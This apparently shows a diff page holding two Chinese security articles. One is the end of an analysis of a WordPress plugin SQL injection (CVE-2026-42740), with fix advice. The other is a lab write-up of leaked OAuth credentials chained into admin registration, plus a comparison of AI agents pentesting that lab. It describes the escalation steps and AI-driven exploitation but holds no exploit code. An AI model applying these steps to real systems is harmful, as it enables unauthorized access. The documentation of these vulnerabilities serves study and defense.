<table><thead><tr><th><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">测试项</span></section></th><th><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">结果</span></section></th></tr></thead><tbody><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">正常请求</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">接口正常返回</span></section></td></tr><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">status 注入</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">默认环境无延迟</span></section></td></tr><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">meta_key 注入</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">Payload 成功进入 SQL</span></section></td></tr><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">开启 NO_BACKSLASH_ESCAPES</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">SLEEP() 成功执行</span></section></td></tr></tbody></table>
|
||||
可以看到：
|
||||
|
||||
默认环境虽然无法直接利用，
|
||||
|
||||
但攻击数据已经到达 SQL Sink。
|
||||
|
||||
真正阻止漏洞利用的，
|
||||
|
||||
只是 WordPress 内部的一层转义。
|
||||
# 九、修复建议
|
||||
|
||||
升级官方版本
|
||||
|
||||
升级至：
|
||||
```
|
||||
>= 1.1.0
|
||||
```
|
||||
|
||||
这是最直接的解决方案。
|
||||
|
||||
注册 current_query
|
||||
|
||||
真正应该修复的是：
|
||||
```
|
||||
current_query
|
||||
```
|
||||
|
||||
应纳入 REST API Schema。
|
||||
|
||||
对子参数统一进行：
|
||||
|
||||
validate
|
||||
|
||||
sanitize
|
||||
|
||||
type
|
||||
|
||||
管理。
|
||||
|
||||
避免 SQL 字符串再次拼接
|
||||
|
||||
建议直接获取：
|
||||
```
|
||||
post_id[]
|
||||
```
|
||||
|
||||
例如：
|
||||
```
|
||||
WP_Query
|
||||
|
||||
↓
|
||||
|
||||
获取 ID
|
||||
|
||||
↓
|
||||
|
||||
prepare()
|
||||
|
||||
↓
|
||||
|
||||
WHERE IN (...)
|
||||
```
|
||||
|
||||
而不是：
|
||||
```
|
||||
SQL
|
||||
|
||||
↓
|
||||
|
||||
SQL
|
||||
|
||||
↓
|
||||
|
||||
SQL
|
||||
```
|
||||
|
||||
避免原始 SQL 作为数据再次参与查询。
|
||||
# 十、总结
|
||||
|
||||
CVE-2026-42740 并不是传统意义上的一句 SQL 注入。
|
||||
|
||||
它暴露的是多个安全设计问题共同叠加后的结果：
|
||||
|
||||
REST API 参数未注册，绕过框架校验；
|
||||
|
||||
业务层缺乏独立输入验证，形成信任链断层；
|
||||
|
||||
安全性依赖 esc_sql() 作为唯一防线，缺少纵深防御；
|
||||
|
||||
将 $wp_query->request 原始 SQL 再次作为子查询拼接，形成潜在的架构风险。
|
||||
|
||||
虽然在默认环境下，漏洞利用会受到 WordPress 转义机制限制，但一旦部署环境发生变化（如启用 NO_BACKSLASH_ESCAPES、使用特殊字符集或未来出现新的可控查询参数），同一条数据流仍可能演变为可利用的 SQL 注入。
|
||||
|
||||
相比于某一个 Payload，本次漏洞更值得关注的是
|
||||
REST API 参数信任边界设计
|
||||
与
|
||||
SQL 构建方式
|
||||
所暴露出的长期安全隐患。这类“当前利用受限，但架构存在风险”的问题，往往也是代码审计过程中最值得深入挖掘的方向。
|
||||
|
||||
@@ -0,0 +1,372 @@
|
||||
# 用AI挖了隐藏N年的组合拳漏洞
|
||||
迪哥讲事 2026-06-26 03:00
|
||||
|
||||
## 前言
|
||||
|
||||
这个漏洞是在护网中发现的，感觉很有学习价值，于是复盘了一下，花费一天时间，根据漏洞细节，在本地一比一复刻漏洞环境，以供学习。
|
||||
|
||||
这篇内容较多，先放目录，细细品味
|
||||
|
||||
|
||||
|
||||
启动靶场
|
||||
|
||||
|
||||
|
||||
## 一、初步测试
|
||||
|
||||
弱口令登录尝试
|
||||
|
||||
首先访问目标系统登录页面，尝试使用常见弱口令登录。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
验证码功能测试
|
||||
|
||||
随后测试验证码登录功能，观察相关数据包。
|
||||
|
||||
|
||||
## 二、信息收集与配置泄露
|
||||
|
||||
发现 OAuth 2.0 参数
|
||||
|
||||
在登录请求数据包中，注意到存在 grant_type 参数，结合系统注释信息，判断目标使用了 OAuth 2.0 认证框架。
|
||||
|
||||
|
||||
|
||||
搜索客户端凭证
|
||||
|
||||
OAuth 2.0 的客户端凭证模式需要 client_id 和 client_secret。
|
||||
|
||||
|
||||
首先在前端源代码中直接搜索，未发现相关凭证。
|
||||
|
||||
|
||||
|
||||
|
||||
随后使用浏览器开发者工具的“搜索”功能检索所有加载的 JS 文件，仍然未找到。
|
||||
|
||||
|
||||
|
||||
最终遍历全部 JavaScript 文件，发现 api.js 中包含了大量接口定义。
|
||||
|
||||
在该文件所在目录的索引文件中，找到了一段被注释掉的 JavaScript 代码。
|
||||
|
||||
|
||||
|
||||
访问该被注释的 JS 文件后，成功获取到 OAuth 2.0 的配置信息（包括 client_id 和 client_secret）
|
||||
|
||||
|
||||
## 三、凭证有效性验证
|
||||
|
||||
参考 loginController.js 中的请求参数，构造如下请求（使用已泄露的客户端凭证）：
|
||||
|
||||
|
||||
|
||||
client_credentials是 OAuth 2.0 框架下一种授权模式（Grant Type）的参数，称为客户端凭证模式。它的核心用途是为服务器与服务器之间的通信（即“机器对机器”，M2M）提供一个安全、无需用户参与的身份认证解决方案。
|
||||
|
||||
这一步是为了验证泄露的 oauth 信息是否有效。
|
||||
|
||||
|
||||
|
||||
此时可以获取到token，访问接口，请求头加入token
|
||||
|
||||
|
||||
|
||||
显示失败，没有权限。
|
||||
|
||||
如果不用这种模式，直接用password，则会返回失败
|
||||
|
||||
|
||||
|
||||
因为password模式需要用户的参数，我们没有系统内的用户，所以这种模式就不能使用。
|
||||
|
||||
于是返回重新查看api.js 接口，我们发现是有一个注册接口，那么我们可能通过注册一个用户，然后给他授权password模式，就可以获取有权限的token了。21 行注册接口
|
||||
|
||||
|
||||
## 四、注册用户并尝试提权
|
||||
|
||||
靶场环境我做了参数提示，实际环境没有具体的提示，但在登录抓包能看到username和password参数了
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
直接注册是普通账号，可以看到右边 roleType=GUEST
|
||||
|
||||
使用oauth password模式对注册的账号授权权限
|
||||
|
||||
|
||||
|
||||
然后访问用户个人接口,id用注册成功返回的id，可以查看到信息, token用上面返回的
|
||||
|
||||
|
||||
|
||||
此时去访问所有用户的接口
|
||||
|
||||
|
||||
|
||||
显示权限低。说明注册的用户也分普通权限和管理员权限，此时回到前端js页面，寻找如何注册管理员用户
|
||||
## 五、寻找管理员角色注册方法
|
||||
|
||||
代码在main.js里，划分了不同权限对应的id
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
所有注册的时候需要传入ownerId
|
||||
|
||||
此时重新注册管理员账号
|
||||
|
||||
|
||||
|
||||
然后再重新赋予oauth权限
|
||||
|
||||
|
||||
|
||||
访问刚才403的接口
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 六、漏洞总结
|
||||
|
||||
漏洞点：
|
||||
|
||||
前端 JS 文件中残留了被注释的 OAuth 客户端凭证（client_id 和 client_secret），可被直接获取。
|
||||
|
||||
注册接口允许通过指定 ownerId 参数创建高权限（管理员）账号。
|
||||
|
||||
系统依赖前端参数控制权限，后端未做严格校验。
|
||||
|
||||
利用路径：
|
||||
|
||||
泄露凭证 → 注册普通账号 → 获取低权限 Token → 发现权限不足 → 分析前端找到管理员 ownerId → 注册管理员账号 → 获取高权限 Token → 访问所有受限接口。
|
||||
|
||||
|
||||
|
||||
|
||||
## 七、AI 自动化渗透效果对比
|
||||
|
||||
近来AI发展迅猛，各种Skill和平台层出不穷。我周末体验了一些，总体感觉确实比较费token，但各有各的优势。还是那句话，AI肯定会越来越好，但我希望它始终是辅助我们工作的工具，帮我们拓展思路和新的攻击面，而不是在未来取代我们。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
有点感性了，兄弟们，废话不多说，我也来搭建一下，针对上面这个漏洞，看看AI是如何攻击的。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
采用三种方式，看看哪一种可以做到全流程覆盖
|
||||
### 方案1：只使用ai agent 自主渗透
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这里我使用
|
||||
glm 5.1 模型
|
||||
|
||||
对这个靶场进行渗透测试，然后出具渗透报告 http://192.168.3.5:8090/ 不需要端口扫描，直接进行 web 测试
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
截图只包括关键部分，
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这里开始就陷入了死循环了，一直在找提升权限的接口或方法。
|
||||
|
||||
最终没找到，结束了这次渗透
|
||||
|
||||
目前的流程是
|
||||
|
||||
查看前端内容，读取js中的接口，发现隐藏接口，找到了oauth的配置，然后无法利用，又去看接口，发现了注册接口，注册了用户添加了oauth配置，可以返回有效token然后获取系统接口数据，发现大部分没权限
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
给了四次提示，最后直接告诉他对应的参数，才完整复现。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 方案2：Glm 5.1 + chrome-devtools-mcp 渗透
|
||||
###
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
首先需要安装node，然后安装chrome-devtools-mcp
|
||||
|
||||
npm install chrome-devtools-mcp
|
||||
|
||||
然后点击右上角的mcp按钮，配置这几行代码就可以了，再开启允许按钮就可以了
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
同样提示四次，才完整复现
|
||||
|
||||
|
||||
### 方案2.1：DeepSeek v4 pro + chrome-devtools-mcp 渗透
|
||||
###
|
||||
|
||||
突发奇想，最近 DeepSeek v4 pro 模型挺厉害的，于是我充了 10 块钱测试一下，看看它的效果如何，结果大跌眼镜！！！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Claude code + DeepSeek v4 pro + chrome_mcp
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 方案3：ai agent + skill 渗透
|
||||
###
|
||||
|
||||
Skill 如下
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
最终漏洞
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 总结
|
||||
<table><tbody><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">AI 自动化渗透</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">漏洞细节</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">效果</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 1：AI自主渗透</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">70%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">中等偏上</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 2： Glm 5.1 + chrome_mcp</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">70%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">中等偏上</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 2.1：DeepSeek +chrom_mcp</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">80%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">屌爆了</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 3: AI + skill </span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">10%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-familyLine truncated
|
||||
|
||||
|
||||
|
||||
|
||||
我靠，我是真没想到，GLM 5.1 写的靶场，被 DeepSeek v4 pro 发现了 bug，并利用 bug 完美提权。Glm 自己竟然没发现后端代码有问题。DeepSeek v4 果然名不虚传。 修改 bug 后再次测试，就不行了，也是给了四次提示才能成功。
|
||||
|
||||
本次实验得到的结果：
|
||||
|
||||
ai 在多层逻辑漏洞还是存在不足。
|
||||
|
||||
国外模型暂未测试。
|
||||
|
||||
如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
|
||||
|
||||
|
||||
|
||||
往期回顾
|
||||
#
|
||||
# 如何利用ai辅助挖漏洞
|
||||
#
|
||||
# 如何在移动端抓包-下
|
||||
#
|
||||
# 如何绕过签名校验
|
||||
#
|
||||
|
||||
[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user